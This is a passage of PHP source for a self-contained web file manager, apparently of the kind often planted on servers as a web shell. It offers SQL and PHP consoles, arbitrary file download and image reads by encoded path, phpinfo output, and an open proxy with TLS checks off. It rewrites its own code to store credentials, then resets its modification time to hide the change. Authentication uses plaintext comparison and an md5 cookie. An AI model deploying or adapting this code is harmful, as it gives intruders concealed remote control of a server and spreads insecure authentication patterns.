        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File managerx').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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